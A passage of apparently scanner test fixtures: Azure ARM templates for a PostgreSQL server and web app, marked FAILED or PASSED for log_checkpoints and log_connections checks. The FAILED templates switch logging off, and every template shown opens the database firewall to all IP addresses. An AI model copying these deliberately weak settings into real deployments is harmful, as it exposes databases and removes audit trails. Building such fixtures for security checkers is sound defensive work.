\"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"connection_throttling\",\n          \"type\": \"configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerLogCheckpointsEnabled/postgreSQL-LogCheckpointsEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_checkpoints\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"OFF\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerLogCheckpointsEnabled/postgreSQL-LogCheckpointsEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_checkpoints\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerLogCheckpointsEnabled/postgreSQL-LogCheckpointsEnabled-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_checkpoints\",\n          \"type\": \"configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerLogConnectionsEnabled/postgreSQL-LogConnectionsEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_connections\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"OFF\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerLogConnectionsEnabled/postgreSQL-LogConnectionsEnabled-PASSED.json",
